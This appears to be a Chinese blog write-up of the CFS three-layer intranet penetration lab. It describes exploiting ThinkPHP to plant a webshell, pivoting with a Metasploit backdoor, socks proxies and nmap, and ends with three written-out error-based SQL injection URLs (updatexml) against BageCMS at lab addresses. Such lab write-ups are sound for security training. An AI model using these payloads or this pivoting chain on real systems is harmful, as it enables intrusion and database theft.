CFS三层内网渗透

7562ajj

已于 2023-02-24 16:13:43 修改

阅读量1.2k

点赞数

分类专栏：内网渗透文章标签：网络

于 2023-02-24 16:10:51 首次发布

本文链接：https://blog.csdn.net/m0_62008601/article/details/129202255

版权

内网渗透专栏收录该内容

3 篇文章

订阅专栏

环境搭建

设置三块虚拟网卡

开启虚拟机验证，确保所处网段正确，

最后，登录到ubunt和centos的宝塔面板进行相关配置。

拿ubuntu主机

信息收集

访问web服务

直接上工具进行测试。

thinkphp漏洞利用

验证存在漏洞，并写入后门

验证一下是否写入成功，访问发现没有报错，说明成功写入了后门

用蚁剑进行连接

搜索有用信息，在根目录发现了flag.txt

上线msf

Msf生成后门，通过蚁剑上传并执行后门上线msf

发现第二个网段192.168.22.0/24

添加路由+建立socks代理

添加路由访问22网段

使用auxiliary/scanner/discovery/arp_sweep模块对22网段进行存活主机扫描

发现192.168.22.128主机存活，msf添加socks代理

接着编辑/etc/proxychains.conf

添加了代理之后就可以启用nmap扫描22网段，启用-Pn（禁ping扫描）和-sT（tcp扫描）

可以看到192.168.22.128主机开了几个比较常见服务的默认端口。

bagecms漏洞利用

浏览器开启socks5代理访问第二台主机的web服务

访问之后看到八哥cms。访问源代码发现存在sql注入漏洞

加入单引号之后报错，尝试报错注入

手工利用：

获取数据库名：

http://192.168.22.129/?r=vul&keyword=1%27%20and%20updatexml(1,(select%20group_concat(0x7e,database()%20)%20%20),1)%20--+

获取表名：

http://192.168.22.129/?r=vul&keyword=1%27%20and%20updatexml(1,(select%20concat(0x7e,table_name)from%20information_schema.tables%20where%20table_schema=%27bagecms%27%20limit%201,1%20%20),1)%20--+

获取字段名：

http://192.168.22.129/?r=vul&keyword=1%27%20and%20updatexml(1,(select%20concat(0x7e,column_name)from%20information_schema.columns%20where%20table_name=%27bage_admin%27%20limit%201,1%20%20),1)%20--+

查询username和password